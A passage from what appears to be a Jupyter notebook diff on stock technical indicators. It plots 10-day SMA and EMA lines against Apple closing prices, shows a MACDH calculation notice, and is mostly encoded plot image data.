SqpIjX964CWQEEtPwj4RSnVHaNm79zHaRBwvLJBCiGEqBrlvk9fa71bax2otQ7VWodiFPRdtdYngfXAveZdPH8BzmutizXtCCGEsEZZbtmMBjYDbZVSDqXU/ZeZ/TPgCHAIeAOYWCVRCiGEqBI1ohsGpdRpwHUvR5fnD/xRxeFUlNWxWJ1/AYmjuJoSi8RRXE2JpaJxtNBaB5R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+ }, + "metadata": { + "needs_background": "light" + } + } + ], + "source": [ + "plt.plot(stocks[\"close_10_sma\"], color=\"b\", label=\"SMA\") # plotting SMA\n", + "plt.plot(stocks[\"close_10_ema\"], color=\"k\", label=\"EMA\")\n", + "plt.plot(df_aapl.Close, color=\"g\", label=\"Close prices\") # plotting close prices\n", + "plt.legend(loc=\"lower right\")\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "metadata": { + "tags": [] + }, + "outputs": [ + { + "output_type": "stream", + "name": "stderr", + "text": "NOTE: Behavior of MACDH calculation has changed as of July 2017 - it is now 1/2 of previous calculated values\n" + }, + { + "output_type": "display_data", + "data": { + "text/plain": "
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lWaOmNJF/c+ubtGzQkp3jd/LDiB/46q6vGJ3zO3V2vceiY4vo/1N/Lly9YDmjS0CJvAmIjpbLpk1L38/RESZOTmdb5FFeeS+K6KSLZOdmm9/AfI4dKxyqyc3LZc2pNQxpMeRWY5DqiI9PgciPaDUCDY1VJ1ZZ1ygLsmePvMu8/XZZdVRRNnFxculXwrSR8MRwDl44yLNdnqVurbq31nfvpnF94xS+7rOCo8lHGbRgEFk51v12VSJvAhISZHqVh0fJ+2TnZvPaptd483p9eKY9H90Mpum3XtR6uxZ133EhdG4oX+/72myZH+npMqzUqVPBum2x20i5nsKIliPMckxbQV/kG7s0prtvd1aeqBlx+ehomeLn6ipnYOvqrViCtDTpEVdFdCJfkic/P3w+zg7OxRrXd8+fMJ4bMYolo5cRkRLB02ufZv/5/dzIuWFGi0tGibwJSEiQQlLac8tn1j7DB7s+YFyHcSwevZiZHX6mc9JstK2zyNwxkXOx9jy77ll6/9CbqEtRJrdRl9oVGiqX8RnxjF05Fj83P+5qcZfJj2dL6Is8yCyb8MRw4tLjrGeUBcjMlDXPs7Phn3/kVPyvvpIVSC3BmDGylHVVpDSRF0Kw6uQqhgUPo55zvULbQkKkszdpEqz+aAiTuk7ix0M/0uW7Lri+50rY3DB2xFm23olq/2cCzp8vKGtriIVHFjLv4Dym9prKOwPfkStDYPpIeTF98gl8/p4g6O5FRDo/S+uvWhNQLwB/d3/83f0J8Qqhm083uvh0oY5jnUrZqJt63akTZNzI4K5f7+LKjSvsHL8TVyfXSo1ZVfD1hYsXZUza2RlGthrJq5tfZdWJVUzuNtna5pmNzZvlc5iVK6FlS1mz6OBBeOopaNsWwsLMd+ysLNnQ5cYNaYOhHry2zLlz4OQEhuZtHrpwiPNXzht0jhwc5ITDadNg/nw48crnvHTbS+w/v//Wj7uThbveCyEs/hMaGiqqE82aCTFmjOFt2bnZIuizIBE6J1Tk5OaUOMYPPwgBQsxbEi/e+OsN8dDyh0Sv73sJ3098BTMQzEDUf89LzDswT+Tm5VbYxkceEcLHR9pz5y93CvuZ9uLP039WeJyqyPffy3N75kzBupCvQkS/H/tZzygL8NJLQjg5CZGZWbAuJUUIf38hAgOFyMoy37G3bZPnHISYNs18xzEXjz4qz5Mh3t72tmAG4sKVCyW+PzFRnvsJEwqvj4szzi5gv6ig3qpwjZEIURCuMcRvx34jOi2aaX2mldoz9ZFHZGPq7z72YaD2Nh1OL8Rt2T9kzDgHHyTDr79zNTaYJ9Y8QZuv2vDQ8of4v7//jx8O/kDyteQy7QwPh86d4Y2/3mDD6Q18O+xbBjcbXNmPXaXQ/W30QzbDWw5ne+x2rmdft45RFmDrVrjttsLT8T09Ye5cOSnvp5+MG3/pUnjmmcIPc4WQ9dVXrZLhy9AuOSxebp1YtDFcvGjYiwdYG7WWMO8wGrk0KvH9jRvLcNXSpbJ/A8DixdC8uRVSqCv6rWCKn+rkyV+6JL2VTz4pvm3zmc2i7jt1RYdvOpTL+/722wLvB4Ro1UqIiRPl+g8/FALyxOTvFoqBPw0UQZ8FCfuZ9oIZCOe3ncW7298VeXl5BsdNSxNC04T4vxnXhdt7buLBZQ8a+7GrFMeOyfO5aFHBuh8P/iiYgTh96bT1DDMjly/Lv/mMGcW35eUJ0aWLEC4uQjRvLkR0dMXHT0oSws1NntdHHpHH++47IUJC8q9fu2xR/9EnhcObzoIXAkRyxmWjP5Ml6dJFiDvuKL4+5VqK0GZo4s0tb5Y5xtKl8lz884+8U7ezE6JXLyHS0ytvF8qTtzw677CoJ7/6xGqG/jqUII8g1j+8Hjut7FP95JMyfrl+PVy4IH+fM0euf/FFCAzU2DL7IR6338yU2md50z6Tx7MO07vhMKb+PZUXNhjuaL1rV/4s21a/k3Ejgyc6P2Hkp65aGPLkm7g2ASDxqo3NQTcRW7fKv3m/fsW3aZqsjtqli3wmpF9T6cQJGDdOFtSbM6fk8WfOlHnkEybAL78I6gedY8K7f5HW4mv6/e956r/Sg8tN59C5zj3gmsCEVc+Z+BOal5QUw578htMbEIhyJSvcfruc5T55sixkNnAgbNgAbm5mMLgU1INXIzEk8j8f/pnHVz9OqHco6x9eX6Geqa1ayZ+i2NvLWtYTJsjQjsQRO7v22DssYegnk5i9dzb3tL6HvoGFJzb98498ILT3xk/4uvnSL7BfhT5jVcfdXTZ40Bf5xi6NAWxisoo5WL1aVkXt0cPw9t694e+/5fX0/feyPPbS5TksWX8ep4bnqNfqME/9epmsgPb06eBHpyYFubfZ2bBoEQwct4vkAR/g7LeZrDzZCi0BSM91IbhpMO92/pamqU8y+J1gVtvP4M/Tj3JH86qRbnPxogxtFWVd1Doa1m1IqHdomWO4u0PPnrB9u0xjXbzYcCVLc6NE3kjOn5dLb2+5vJx5mfG/j6d3QG9+H/O7STNXxoyBkSPh9GmZptWggWwoPGCAxqmvPiDoyXU8s+4Zjjx1pFD8/59/oGX//WyMXs/MfjPLdVdRndA0OetVv41BExfpyVdHkc/JkXHfYcMKz24uypGkIyT0eJtch1ju+zcBghOhVR43AF1V7Bf2AHvgvhbjGNPpbuo51+P4IRdSuyxhk++nNExoyPjOj9G2YVtaerakZYOWeLt636qDFBUF7JhCo9sXMmn9JI4+fRQnBycznwHjyMqSFVuLevJx6XH8ceoP7m1zb7n/h2bOlF+m06aV/rcwJ0rkjeTcObnUifw/sf+Qk5fDrH6zzJKa6Ows09/0X0+dCg89VIdXPd7ng+gHWByxmIfaPQTIC3bP3jyavPoaDWo34IXuhkM61R0vr8Ii36BOA+w1exKvVL9wzZYtchLSqFEl77Po6CL+8/t/qONYh37dQ7G/HkJbf19aNvbD392flp4tmfNZfd6fdwJarWQp77M06seCAbrb8Ui7cXx512elXuf+/kCuE4NyZrPw8hA+3f0pU3pNMdlnNQcXL8qlviefnZvNg8sfRCCY2mtqucfq189wyMySKJE3ko0bZT9Xp3znZGvMVpwdnOnq09ViNoweDa+8AidWjKb9ne15dt2zbDq7icFNB+OQ3IXs2z8hzuFvvu7/NW5OFg4I2gheXvI5hw47zY5GLo2qnSd/7JgM5zVpYngiUkxaDNO3TOfnIz/Ty78XS+9beit0VZR3psOkiV257bauhNR/nrc+TeKL79JYsDiNu7q25aeZzQy+Tx8nJ+kAOcbcycg7R/LW9rd4uN3D+LnbbptJnTOg78lP3zKdXed2sejeRbRoUEolQhukZt23m5j4ePlQ8777CtZtjd1KD78eFr0ldXSUPSh3/2vHzyN/YXCzwfx+8nceWvEQ9+9oAV2+YULbl3gq7CmL2WRrNGwIyUUyTZu4NKkWD14XLoT9++UknP795fOXLVtknXMdSVeTmLx+MsFfBLMkYglTek7hr0f/KlHgQfYA9vaWjW92/tmY5x/owE8z+zK26wh+/bJsgdeh67P76R2fkifyeHnTy5X/sBZAJ/I6T37D6Q28v/N9JnSewJi2Y0p+o42iRN4IVqyQS53Ip2amcvjCYfoF9LO4Ld27SxFzzWzH4tGLSX45mb1P7KVbytc0WLafb0d9VC3rxZcXXbhGv8JwY5fGVd6TDw+XnvvAgfLhqbMzbNsmZ7jqSLmWQsc5Hfl639eM6ziO05NP896g96hlX6tcx7jjDsjIkH2LFy6U+fWuFYhEBgZCbCwE1gvk9V6vsyRiCTvjdlbsg1oQXbjGy0t+OY5dOZa2Ddvy+Z2fW9ewSqJE3giWLoV27QpKDO8/vx+BoIdfCSkNZkRXGGn3brm0t7Oni08XMv5+mh5BodjZ1VyBB/kPe+OGfKCmozp48lOnQv360mt3cZEC37x5wXYhBE+tfYrLmZfZ/cRu5t49F1833wod4+67ZUmEQ4fgoYcqbmNgoEzVzMmBl26TFdL+jv674gNZCP1wzaoTq7h4/SILRi6gtmNt6xpWSZTIV5Lz52HnThkP1xGeKAvEdG7S2eL2tG0r0wR1Ig8y8+bECZkPXdPRxVf1H742dmlM8rXkKtfzVTfL+tQp2Sj+lVdkLP7o0eLlrhceXciKyBW81f8twrwrV6zGyQlee63sUtol0bw55ObKipgutVwIcA8g8mJk5QazABcvylCVhwfsSdiDZx1POjbuaG2zKo0S+UqycqX8Z9OPx4dfCCeoXhAetUupOWwmHBykmO/Uuwv+4ANpY69eFjfH5jAk8k1cm5An8ki5nmL4TTbIzZtyYo2vrywpALJ/cP36xSfZXLx+kefWPUdPv57897b/Wt7YfHTzPnQ9hlt7tbZpkU9JkenJdnZS5Lv5dKvSoU4l8pVk6VLZEFu/ul54YrhVvHgdAwfKGG1KivwSevttGD/e+ilctkBJnjxUnVz59HQYOrQgJv7XX9CtW8mNLZZELCH9RjpfDv2y1LpJ5kb3fODkSbls7dmakxdPkifyrGZTaSQlyYeuGTcyiEyJpJtPN2ubZBRK5CtBUpKcxaYfqknPSuf05dNWFfkhQ6Tn/vnn8Oij0LWrrB9ehZ0Qk2HQk69CE6Li4+Ud2bZtsh787Nly/b33lvyeJRFLaO3Zmg6NOljExpKoX1+e/1uevGdrMnMyiU2LtapdJXHypOykpXvGZsl0aHOg8uQrwYoVUkz1Rf7QBdmVo1PjTiW8y/x07iw9kHfekSmDy5dbZxq1LVKaJ18VJkS9+KJMQ1y/XqbL5ubKL2/9a1CfxCuJbI/dzvS+020i1NCqVYEn38pTxm8iL0YS5BFkRauKc/OmnKU7cqQUeYAuPlX7oZby5CvBsmXyFlR/5umx5GMAtG/U3kpWyRjikCEyPr9smYzbKiR168ovPP1c+aoSrsnLk3nvo0dLgQdZy+ixxwrnwuuz7PgyBIL7Q+63nKGl0KpV4Zg8QGSK7cXlT52SWUAhIbLsg6+bb4VqT9kiSuQrSG6unAB1552FwyDHU47j5uSGt6u39YxDVhfcu1cWoFIUoGnFSxvUdqyNu5O7zadRnjgBly5Bnz7lf8+S40to27AtbbzamM+wCtCypcxauXQJPOt44lnHkxMXT1jbrGJERMhlSAgcTT5qVafNVCiRryCxsbIejL4XDxCREkGIV4jVb429vAo361YU4O1dUFBOR1WYEPXPP3JZ3i/uhIwEdsTt4IGQB8xnVAXRZdjoP3y1xQybiAh5R9ysRTaRKZG0a9jO2iYZjdEir2man6ZpWzRNi9Q0LULTtOdNYZitcvy4XLYp4iBFpETYjNekMExgoMzV1qeJq+1PiNq+XdaiaVaOSgI3cm4weYPsW2sroRooyLDRf/gaeTESoT8FuRJkZRWexWwsx4/L8xx77STZedlK5PPJAf4rhGgNdAee1TSt2qqdIZFPuZbCxesXCfEKsY5RinIRFCRnXubqzX2qCp78wYMyVbKsm8SrN68ybNEwVkSu4OPBHxPcINgyBpaDwECoVUvPk/dqzeXMy0bNUcjKklUu580zjY3R0bLgYJcucDTpKGDdZ2ymwmiRF0IkCiHC83+/AkQCJXQ8rfocPy5v++vVK1gXkSIDeSENlcjbMkFBsuGFfsimiUsTm86uyc2V/QP0a9EY4uL1iwxcMJAt0Vv4ccSPt8oH2AoODjItUd+TB+Mevh4+LJ+xHDhgvH05OTB2rPwiffdd+dDVwc6Blp5lnPgqgElj8pqmBQKdgD0Gtk3UNG2/pmn7U1KqzgzDohw/XjxUczxFuvcqXGPbBAbKpX7IprFLY65lX+PqzasG32NtYmPlF1NwGU75/Uvv5/CFw6x4YAWPdXzMMsZVkJYtC3vygFFxeZ24x8QYaRiyNs/OnfD11xAQAAcSD9CuYbtyF3GzZUwm8pqmuQDLgReEEBlFtwsh5gohwoQQYV4ltUG3cYSQfVeLxeOTI3BzcsPHtdrewFQLgvJTsouKPNhuGqVOFEvz5KMuRbElZgsz+81keMvhljGsErRqBWfOyC8tPzc/6jrWNcqT3y/T2Ik1ck7V3r0wYwY8+KAsESHq85Z5AAAgAElEQVSEYP/5/ZWu9WNrmETkNU1zRAr8QiHEClOMaYskJ8sqhvpV/gCOXzxOG682Vs+sUZSOv7+8HdcXed2sV1sN2Zw6JZelefI/H/kZO82OsR3GWsaoStKqlQyLnDkDmqbRrlE7Dl44WOnx9EW+sg9fs7JkqWZvb+nFA0SnRZOalapEXocmlW0+ECmE+MR4k2wXncegu+3XEZEcoR66VgGcnGTDdf3b+yauUuTPXzlv+E1W5tQp+fzHUFNpkF7nwqMLGRg00OpzNMqiaA2bLt5dOJB4gJy8nAqPdf26DJ02aACZmYXnP1SEbdvkDNfZswues+lmuiqRL6AnMBYYoGnaofyfoSYY1+bQiXxAQMG6lGsppFxPUfH4KkLRNEpdiM2WRT44uOTMmqjLUZxNPcs9re+xrGGVoGgaZVefrlzPvl6pkE1kpHwofddd8nVl4/K7dsm8+AEDCtbtP7+fWva1aNuwbclvrEKYIrtmhxBCE0K0F0J0zP9ZZwrjbA1DIq976Ko8+apBUFBhka/nXA9nB2cSriRYz6hS0Il8SWw8sxGA25vebiGLKo+7OzRuXODJ6wp/7U3YW+GxTp+Wy9vzP3Zl4/L//isb/+iXaf47+m/CvMOqxUNXUDNeK0RsrLxQ3d0L1unSJ5UnXzUICpIVHW/elK81TcPH1ccmRT4zU+b1lybym85uoqlHU5rVL3/PVWuiX8Omef3muDu5V0rko6LkcuBAuayMyOfmwp49cNttBeuiU6M5kHiAUa1GVXxAG0WJfAWIiSnsxefm5TIvfB5+bn4VbqmmsA5BQfIhXVxcwTofNx8SMmxP5HXeakkin52bzZboLVXCi9ehE3khwE6zo4tPF/ad31fhcU6flg9LmzSRpYwXL4Zz5yo2xvHjsndtD71uncuOLwPg3tal1HCuYiiRrwCxsYVFfs6BORy8cJCPBtfsJtlVCV0apX4M18fVxyZj8mVl1hxOOsyVm1foH9jfckYZScuWkJpa0Cy7q3dXjiQdITM7s0LjREXJyVUAX3whY/Tt2sGCBeXPtAmX3TpvtccMTwzn8z2fE9ok1OZKIBuDEvkKEBtbkFmTci2FN/5+gwFBA7ivzX2lvk9hOxiaEOXt6k3ClQSj66iYGp3I68SsKDvidgDQy7/q9Hcs2gqwq09XckVuhVMpo6IKUpkfekjOfm3XTpZfHjeufGMcPy5LLTRrJph7YC495vdA0zTmDJtTIVtsHSXy5SQtTd7a6Tz5KZuncPXmVb4c8qXy4qsQvr5yin3RDJusnCxSs1KtZ5gBTp2SIQkXF8Pbd8TtILBeID5uVWcSnu6uRBdT1zXk2JdQ/pBNerpMmdT/8mvWDLZuhaeflt78hXLMbTt+HIJb5fDE2nE8+ceT9A3sy8EnDxLqHVpuW6oCSuTLiS7e5+8Pu+N38/2h73mx+4u3pmcrqgb29vJvWEjk80XS1uLypWXWCCHYEbejSnnxIL+0oECEvV298XH1Ye/58j981T2r0Il8dGo0Px/+mZnbp3Oq/RgYNZbl28quVR8RAbV6zGXB4QVM6zONdQ+tw7NOCRMSqjCq/V85iY+XSx8feOnPl/B29WZan2nWNUpRKYKCisfkQebKt2tkO6VlT52Ce0pIfz+Teoaka0n08qtaIu/sLNMVk5IK1nX16crf0X+TcSMDNye3kt+cT2R+Wn1wsLybGfzzYDJzMrHT7Ah0D4KWKTwfuYQGx35iTNsxCFF8nsG1axCdmE5S4zfpH9ifmf1mVts7ciXy5SQh38lzqp/Mv/H/8s6Ad3B1crWuUYpKERgIf/xR8Fo3U9SW0igzMuTDyZJqyFfFeLyORo0Kh1P+e9t/6fNjHyatn8RPI38q8/3HjoGjI/g1vU6fL4bj5+7HsvuW0dKzJbXsa9GhRzKx3Ubz4PIHeXnDFC7EO+Ph5Em/TgG08AogwD2AmykBcO/nZJFa7RMnlMiXE53IR93cDsCAoAGl7K2wZYKCpCd5/TrUqaMn8jYUrtGVQy6pT+/OuJ14OHtUyXBho0aFPfme/j35v97/x6ztsxjSfAhj2o4p9f3HjskHuNvP/UVqViqLRy8udAfWu3NDzvywkY/WzGPWjzvQMvO45JTCyn3/gvsSckV+GYUWMCPsOzo36WyOj2kzqJh8OUlIgIYNYUf8VlxquRDapHo9nKlJFE2jdHJwwrOOp0158jqnwruEcjQ7zu2gp39P7LSq9y9cVOQBpvWdRnff7jz1x1PEppU+s+noUdl+849Tf+Bay5W+gX0Lbe/fH66lO7Pjk+fI+P43Vj28hD3PbKHZH2fJnZnFU9fP4btxBwEb9zL1zidM/fFsjqp3hViJhATpVW2N2Uov/1442jta2yRFJakKufI6kfcxkDiTci2FExdPVLl4vA5DIu9g58DCexaSJ/J4ZOUjJRYty8iQE9nathX8EfUHdzS/o1j5geHD5cP1Vatkv+OhQ2UufHg4PDXRnm8/8CV+V0+++b8u2Nub61PaDkrky0l8PDQIPE9ESkSVmnyiKI6huvK6XHlbQReuMeTJrz65GoA+AX0saJHpaNRITojSlZbQ0dSjKV8N/YodcTuYe2CuwfdGyCoiODfdz/kr5xnWYlixfRwd4aX8xlgvvljw0LVuXfjmG1i7Fj7+GIYMMdUnsm2UyJeThATIDtgAwJDmNeTqqKY0aiSzPIrmyttSTD4hQdZIqlu38Prs3Gze/eddwrzD6O7b3TrGGUmjRnKZnFx82yPtH6FfYD+mb5lOambxeQu7dsnlCYfFONo5ltgk5ZlnYOVK2QSkKEOHFnwJ1ASUyJeDrCy4dAmS3dfh6+ZbbUqQ1lQ0zUDJYTcfkq8lk52bbTW79Dl/3nCo5ucjPxOdFs2MvjOqbEaITuSLhmxAFoz77I7PuJx5mVnbZhXaJgTMnw/duuex4dwS7mh+Bx61PQwew9ERRo6UZYRrOjXyFNy8KW8XSyMlRd7a9e0LtWsDdtlEa5sY0nxIlf3nUhRgKFdeIGymDWBCQvFQTXZuNm9vf5sw7zCGtqi6LRtKE3mADo078ETnJ/hy35ecvHjy1vqdO2WOfN9Ht3Mu4xz3t7nfAtZWfWqkyD/1lOwo07+/FPKiF9usWbK63TPPSLF3cgJarSJTZDCi5Qir2KwwLUXryttarnxCQnFPvjp48VC2yAO8PeBt6jjW4b8b/3tr3dy54Oom2FVrBo3qNqoSjVJsgRon8klJ8Msv0L27nJDxzDPSYxowADZvll7+Rx/JL4AjR+SDnqQkaPrwpzSt14w7m99p7Y+gMAEBAfJu7upV+dqWShvk5UFiYmGRry5ePJRP5BvWbci0PtNYG7WWNSfXkHIxl992b8Xv6afYEb+Nqb2nUrdW3ZIHUNyixk2GmjdPdov/4Qc5LToiApYskUWNbr8d7r4brlyB55+H5q0y2Xx2B78d+42z2f8yu/ts7O1qQM5VDaBBA7m8fFkWANOVNrAFTz4pSTa00A/X6Lz4L4Z8UaW9eJAPkxs0KHwnZYhJXSfx/cHvGbV4FLWpT/bDKZy1r83YkLFMDJ1oGWOrATVK5HNy4NtvpZjr+k22bSt/3ngD7rsP1qwROHZexCcXv2f0/3ZwI/cGzg7OPNflOSaETrDuB1CYDI/853WpqTKn2rOOJ84Ozpy5fMa6hiEdEZB3mzpWRK4guEFwlffideh3iCoJJwcndv1nF9O3vMmCZSk0v3gPh5YOUR58BalRIv/77zLf/auvim9Lz0nG7/FPsfPaTbb/Vs5fbcnTYU9ze7Pb6RPQB5daJdR7VVRJ9EUeZFZHn4A+bDizwXpGIdMKP/gA7r0XQvUmVZ+6dIoOjTtUeS9eR6tWsGZN2fvVc67HGPfP+eJ7+Hge1K0ebVctSo0S+S+/lLHYoUMFsWlx7EnYw574PexJ2MP+8/vJycuhebsQ7gl+h7fvfE2FZqoxRUUe4O7gu5m0fhInL56kpWdLq9g1a5bs7fruuwXrsnOziU6LrlbNaVq1kumQly/L9n1F2bVLfsk5OcF334GrKzzwgOXtrA7UGJGPiIAtW+D99+GFjZP4ap90550dnOncpDPPdnmWiaETrfbPrbAsOpG/fLlgnU7k15xaY5XrICoK5syBJ58sXEc+Ji2GnLwcWjQooUVUFaR1fl21kycLN9IGGavv2VOK/N69smLoiBElN09RlE61E/mcHNi4UU4mGTOm4ML4+mvpFfgOWMOUdV8xvuN4nunyDO0btVd1aGoghjz5gHoBtG/UnjWn1vByj5ctbtPUqXIm7vTphddHXZZtlFrUrz4ir98GsKjI67pGHTgAL7wgSy4PGmRZ+6oT1S6F8pln4K67YMIEmQv90Uewbx/8+CPc9chZJm8ZR4dGHfhm2DeEeocqga+huLrKLlFFJ8UNDx7OjrgdXLp+yaL27N4Ny5bBK68UpBjqiLqUL/LVyJMPDJT9Vd9+Gz77rPA23SQ1Hx/ZpBtkSrOicphE5DVNu1PTtJOapp3WNG2KKcasDHFxMjXyiSdgxw5Zge6VV6BrV3BpksDhtkMRQrD8/uXFKtcpahaaBvXqGRD5lsPJE3msP73eovYsXCjvOg3VVDl16RTuTu541fGyqE3mxN5exthTU2HaNFnbX0d0tCxL8PHH8nXz5jIDSlE5jBZ5TdPsga+AIUAb4EFN09oYO25l0HkE06bJmN7KP67x47pjdH/6B5jQjeTM86wes5pm9Utot6OoUXh4FBf5UO9QGrs0Zs2pcqR+mJBDh6BjR8Nx56jLUbRo0KLaZNboWLAAVqyQE9J+/71gfUyMFPXRo2V686hRVjOxWmAKT74rcFoIcVYIcRP4DTDb3P/zl9MMrs/OlhfNqFGw8eI8Gn/UGJf3XBi3tx27G43Hu54XW8dtpXdAb3OZpqhiGBJ5O82Ou4PvZn3Uem7m3jT8RhOTlweHD0uRN8SZ1DM086iejkmfPrJPw/z5sgAZSJEPDJTe/qFD8L//WdPCqo8pRN4HOKf3Oj5/nclpP+U5/N/thNBdDXps3iwrRXoPWcCENRMIbhDMOwPeYdG9i9jzxB72T9hf7dt8KSqGIZEHmWVz5eYVtsdut4gd0dFylrUhkc/NyyUuPY6gekEWscXS2NnB5Mny//c//5GJE9HRBTX/7e2LN+FWVAxTZNcY+hMUU2FN0yYCEwH8Kxlga+0extGbX7Hp+F4Gh3QrtG3RInBtfoQ5559kQNAA1j20DicHp0odR1Ez8PAwPLV+YNOB1Haoze8nf2dQU/OndRw6JJeGRD4+I56cvByaejQ1ux3W4uWXZchm1iyZ0pqUJD15hWkwhScfD/jpvfYFivVRE0LMFUKECSHCvLwq9wDpwU4jIacWc3b+Vmh9YiIs+SMFbcwoPJw9WHTvIiXwijIpyZOv41iHQU0HWezh66FD0mMNCSm+LTpNfgsFeVRPTx6kpz5zJnz6KayWTa9uefIK4zGFJ78PaKFpWhCQAIwBHjLBuMXoFVYPfhrCRodfWRrRg3rO9cjO1vhizlVuPDgNnM6z8YGtNKzb0ByHV1QzdCIvRPGQQIdGHVgbtZacvBwc7Mw7nSQyUmaQODsX33Y29SxAtQ3X6PPCC7Ib1ksvQWcVWTUZRl+9QogcTdOeA/4E7IHvhRARRltmAE9P8Dr1GulNR3H/Mr2GAfWgTo43K8asoptvt5IHUCj08PCQ1R6vXpV58/r4u/uTJ/JIvJKIn7uf4QFMxLlzJacIRqdGY6fZ4e9eM3IIH38cxo1TcXhTYhIXRQixDlhnirHKorvPbax5/xxOQeGEdc2mWTNB02Yw6d7O1HdV1ekU5Ue/tEFRkdcJ+7mMcxYR+bYldJSMTovG1823Rk3aUwJvWqpcWYOwMFizxpGf3+vGfdWnXpPCCnh6yuXFi7JwnT5+blLY49Lj6OHXw2w23Lwpm9f4lfA9Ep0WXa0fuirMT5UrazB5MmzahBJ4hdH4+splfHzxbbc8+fRzxTeakPPn5TOBEkU+NbpGxOMV5qPKiXy9eqpYkcI0lCbybk5uuDm5cS7DvCJ/7lxhW/TJzM4k8WqiEnmFUVQ5kVcoTEXDhrJGiiGRBxmyMbfI645tyJOPTY8Fqnf6pML8KJFX1Fjs7GSlw3Ml6Li/u7/ZwzW6YxsS+ejU/Bx55ckrjECJvKJG4+tbuicflx5n1uOfOydzw4tm90BBjrx68KowBiXyihqNn18pIu/uR8r1FLJyssx2/HPnSs+scXZwprFLY7MdX1H9USKvqNHoPHkDNe9upVHGZ5TwLWACzp+XISNDRKdFE1gvsNqVGFZYFiXyihqNry/cuCFz5YtiiTTKpKTinaB0qPRJhSlQIq+o0ehCJYZCNrpSAubKsBGiDJFPUyKvMB4l8ooajU7k4ww8X/V1k8nr5nr4mpEh7yIaGqinl5aVRlpWmkqfVBiNEnlFjUZX0tZQXXlnB2e86niZLVyTnCyXhjx5XfqkyqxRGIsSeUWNpn59cHODs2cNb/dzN9+EqKQkuTQo8mkqR15hGpTIK2o0mgZNm5Yi8mac9VqayN+qI6/CNQojUSKvqPEEBZUs8uac9aoTeUMx+ejUaOo516Oecz2zHFtRc1Air6jxNG0qY/J5ecW3+bn5kX4jnYwbGSY/bnKyvJMw1A1TZdYoTIUSeUWNp2lTyMqSdd2LYs5c+aQkaNAAHAx0dVB15BWmQom8osbTNF9LDYVsdLNezRGXT0oyHKoRQhCTFqM8eYVJUCKvqPHoRN5QGqU5PfnkZMMPXROuJJCVk6UeuipMghJ5RY0nIEDGxg158t6u3thpdhb15JcfXw5AL/9eJj+mouahRF5R43FykkXCDIm8g50D3q7eZhH5S5cK+szqEEIwN3wu3Xy60b5Re5MfU1HzUCKvUFB2rrypSxvk5UFaGnh4FF6/69wujqccZ2LoRJMeT1FzUSKvUFCGyLv7mTwmn5EhC5QVFfm54XNxreXKAyEPmPR4ipqLEnmFAiny589DZmbxbbpZr8JQ0flKkpoql/oin5qZypKIJTzS/hHq1qprsmMpajZGibymaR9qmnZC07Qjmqat1DRNTc9TVEl0GTYxMcW3+bn5kZWTxaXMSyY73uXLcqkv8r8c+YWsnCwVqlGYFGM9+U1AWyFEe+AU8LrxJikUlqe0XPlbdeVNGLLRefL168ul7oFrmHcYHRt3NNlxFAqjRF4IsVEIkZP/cjfga7xJCoXl0ZUcNjghyt30E6KKhmt2x+/mWPIxJnZWXrzCtJgyJj8eWG/C8RQKi9GoEbi6wvHjxbfpZr2aMsOmqMj/fvJ3HO0cGdN2jMmOoVAAGKiaURhN0zYDhtrFvyGEWJ2/zxtADrCwlHEmAhMB/P39K2WsQmEuNA169IAdO4pv86rrRS37WmYJ1+hEPjotmoB6Abg6uZrsGAoFlEPkhRCDStuuadpjwDBgoCgl/UAIMReYCxAWFma6NAWFwkT06QNvvCGbeutPUrLT7PB18zV5uMbREerUka/j0uNuxf4VClNibHbNncBrwHAhxHXTmKRQWIc+feTSkDfv7+5vcpH38JB3EACx6bEEuAeYbHyFQoexMfkvAVdgk6ZphzRN+9YENikUVqFLF3B2hu3bi2/zczPthCidyAPczL1J4pVE5ckrzEKZ4ZrSEEI0N5UhCoW1cXKC7t1h27bi2/zc/IjPiCc3Lxd7O3ujj6Uv8vEZ8QiE8uQVZkHNeFUo9OjTBw4dgvT0wuv93P3IFblcuGqgs0gl0Bd5XdaO8uQV5kCJvEKhR58+snjYrl2F15u6eYi+yMemxQIQUE958grTo0ReodDjtttkO76icXmdl22qXHlDnryvm5pLqDA9SuQVCj3q1JEPYIvG5ZvVb4a7kzuLIxYbfYycnMJlhmPTY2ns0hhnB2ejx1YoiqJEXqEoQp8+sG8fXNdLCq7jWIcXur/AisgVHL5w2KjxIyNlmeGWLeVrlSOvMCdK5BWKIvTtK73t3bsLr3+h+wu4O7kza/sso8YPD5fL0FC5VDnyCnOiRF6hKEKPHmBnVzwuX8+53i1v/kjSkUqPf+AA1K0LwcGy+qTy5BXmRIm8QlEEd3fo2NFwvvwtb35b5b358HA5vr09pFxPISsnS3nyCrOhRF6hMECvXrBnjwzb6KPz5pdHLq+UN5+bCwcPQufO8rVKn1SYGyXyCoUBwsJkK8ATJ4pve77b87g5uVXKmz91Sj7Q1cXj1UQohblRIq9QGEAnwgcOFN/mUduDF7pVzpvXPXS95cmn53vyKlyjMBNK5BUKA7RsKR+OGhJ5kLF5Nyc33tr+VoXGPXBAFkFr3Vq+jkuPw6WWC/WcVXtkhXlQIq9QGMDeXj4cLUnkPWp78HC7h1kftZ5S2igUIzwcOnSQs2qhIH1S09UcVihMjBJ5haIEOneWxcpycw1vb+XZimvZ10i+llyu8fLypMjrQkGgJkIpzI8SeYWiBEJC5EPS8+cNb2/m0QyAs6kGun8b4MwZuHKlIB4PMrtGxeMV5kSJvEJRAoGBchkTY3h7s/pS5M+kninXeLrQj86Tv3bzGpcyLylPXmFWlMgrFCVQlsgH1gtEQ+PM5fKJfHg41KoFbdrI17r0SZUjrzAnSuQVihIIyNfekkTe2cEZHzefCnny7dtLoQeVPqmwDErkFYoScHaGJk1KFnmQcfnyiLwQ0pMvGo8HNRFKYV6UyCsUpRAYCNHRJW9v5tGsXA9eY2JkDXn9zJrY9Fgc7BzwdvU22k6FoiSUyCsUpRAUVLon37x+cy5cvcCVG1dKHafoTFeQMXlfN1+TNAZXKEpCibxCUQqBgXDuXPFCZTpae8mpq5EXI0sdR5eGqXuYC9KTV6EahblRIq9QlEJgoBT4hATD20O8QgCISI4odZzUVLmsp1e9QOXIKyyBEnmFohT88x3t+HjD25t6NMXJ3omIlLJF3tW1oJxBTl4OCVcSlMgrzI4SeYWiFHx85LIkkbe3s6eVZyuOpxwvdZzU1ILG3QAJGQnkiTwVrlGYHZOIvKZpL2uaJjRN8zTFeAqFreDrK5clhWsAQhqGlMuT1xf5WznyaiKUwswYLfKapvkBtwNxxpujUNgW7u5Qp07JnjxAG882xKXHlZphU1Tkb812VeEahZkxhSf/KfAqUP56qwpFFUHTZMimLE8eSs+wKebJ50+